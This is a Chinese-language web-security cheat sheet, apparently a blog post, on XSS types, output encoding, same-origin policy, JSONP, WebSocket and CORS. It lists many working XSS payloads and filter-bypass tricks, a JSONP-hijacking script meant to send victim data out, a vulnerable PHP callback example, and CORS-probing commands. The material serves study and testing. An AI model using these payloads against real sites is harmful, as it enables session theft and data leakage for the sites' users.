XSS、同源策略、JSONP、CORS和WebSocket

类型 内容 位置
反射型 服务端不保存数据,输入即时反馈到前端执行 后端
存储型 服务端保存数据,由服务端取出反馈到前端执行 后端
DOM型 取出和执行由前端浏览器端完成 前端

编码对照表

位置 示例 编码方式 编码示例
HTML标签之间 <div>xxoo</div> HTML Entity编码 &amp;
HTML标签属性 <img src="xxoo" /> HTML Attribute编码 &#xHH;
Javascript标签之间 <script>var xss="xxoo"</script> Javascript编码 \xHH
HTML标签属性的URL <a href="/xss?p=xxoo">xss</a> URL编码 %HH
CSS的Style属性 <div style="width:xxoo;">xss</div> CSS编码 \HH

常见标签

类型 内容
<a> <a href="xxx" onmouseover=alert(1)>x</a><a href="xxx" onclimbatree=alert(1)>x</a>
<script> <scirpt>alert("xss");</script>
<img> <img src=1 onerror=alert("xss");>
<input> <input onfocus="alert('xss');"><input onfocus="alert('xss');" autofocus>
<details> <details ontoggle="alert('xss');"><details open ontoggle="alert('xss');">
<svg> <svg onload=alert("xss");>
<select> <select onfocus=alert(1)></select><select onfocus=alert(1) autofocus>
<iframe> <iframe onload=alert("xss");></iframe>
<video> <video><source onerror="alert(1)">
<audio> <audio src=x onerror=alert("xss");>
<body> <body onload=alert("xss");>
<textarea> <textarea onfocus=alert("xss"); autofocus>
<keygen> <keygen autofocus onfocus=alert(1)> # Firefox
<marquee> <marquee onstart=alert("xss")></marquee> # FireFox、IE
<isindex> <isindex type=image src=1 onerror=alert("xss")> # IE
<link> <link rel=import href="http://127.0.0.1/1.js">
javascript伪协议 <a href="javascript:alert(xss);">xss</a>
<iframe src=javascript:alert('xss');></iframe>
<form action="Javascript:alert(1)"><input type=submit>

过滤与绕过

类型 内容 备注
过滤引号 <img src="x" onerror=alert(`xss`);> 编码绕过
JS中用反引号
HTML可不用引号
过滤括号 <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> -
过滤URL <img src="x" onerror=document.location=`http://%77%77%77%2e.../`>
<img src="x" onerror=document.location=`http://2130706433/`>
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
<img src="x" onerror=document.location=`//www.baidu.com`>
<img src="x" onerror="document.location=`http://www。baidu。com`">
URL编码
进制转换
//代替http://
大小写 <scRiPt>alert(1);</scrIPt> -
过滤标签 <scr<script>ipt>alert(1)</scr<script>ipt> -

同源策略

同源策略(Same origin policy)是一种约定,同协议、同端口、同主机(域名),目的是为了保证用户信息的安全,防止恶意的网站窃取数据。

  • 限制范围
1
2
3
4
5
Cookie、LocalStorage 和 IndexDB 无法读取。

DOM 无法获得。

AJAX 请求不能发送。
  • 修改源
1
document.domain = "test.com"

JSONP

JSONP(JSON with Padding)是实现跨域的一种技术,可以跨域读取数据。

1
2
3
4
5
$.getJSON("https://www.xxx.com/jsonp.php?jsoncallback=?", function(data) {

do something...

});
  • callback XSS

当服务器自定义callback,未定义Content-Type头,且这样写时会导致XSS:

1
2
3
4
5
6
7
8
9
<?php
$callback = $_REQUEST['callback'];

$data = array(
...
);

echo $callback . "(" . json_encode($data) . ")";
?>

Content-Type值:

1
2
3
4
text/json
application/json
text/javascript
application/javascript
  • JSNOP劫持

类似CRSF,区别在于JSONP劫持可以回传数据到指定地址,当服务器未做严格的来源校验时,会导致劫持敏感信息,攻击脚本可以这样写:

1
2
3
4
5
6
7
<script type="text/javascript">
function attack(data){
console.log(data); // 可以替换写入恶意脚本,发送数据
}
</script>

<script src="https://xxx.com/jsonp.php?callback=attack"></script>
  • 空Referer
1
2
3
4
5
6
7
8
9
10
11
1. iframe的src javascript伪协议

<iframe src="javascript:'<script> ... </script>'"></iframe>


2. meta标签

<meta name="referrer" content="never">


3. HTTPS向HTTP请求

WebSocket

WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议,允许服务端主动向客户端推送数据。

  • ws://(非加密)和wss://(加密);
  • 建立在 TCP 协议之上;
  • 数据轻量化;
  • 可发送文本和二进制数据;
  • 没有同源策略限制。
1
var Socket = new WebSocket(url, [protocol] );
1
https://www.runoob.com/html/html5-websocket.html

CORS

跨域资源共享(CORS) 是一种机制,通过定义额外的HTTP头来使浏览器能够允许不同源之间的资源交互。

  • 请求
类型 备注
Origin:<origin> 表示实际请求的源站
Access-Control-Request-Method: <method> 用于预检请求,表示真实的请求方法
Access-Control-Request-Headers: <field-name>[, <field-name>]* 用于预检请求,表示真实请求所携带的首部字段
  • 响应
类型 备注
Access-Control-Allow-Origin: ` *`
Access-Control-Allow-Credentials:false 是否允许浏览器读取Response内容(如Cookie)
Access-Control-Allow-Methods 用于预检请求响应,表示允许使用的HTTP方法
Access-Control-Allow-Headers 用于预检请求响应,表示允许携带的头部
Access-Control-Expose-Headers 允许响应时能获取的其他头部
Access-Control-Max-Age Preflight请求的最大响应时间
  • CORS漏洞

检测方式通常是修改Origin头字段值,看Access-Control-Allow-Origin返回的结果。

1
curl https://www.abc.com -H "Origin: https://test.com" -I
1
2
3
4
5
6
7
8
9
1. 发送origin=NULL

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script> ... </script>'></iframe>

2. 域名校验不严格

aa.com -> aa.com.cn

3 ...

参见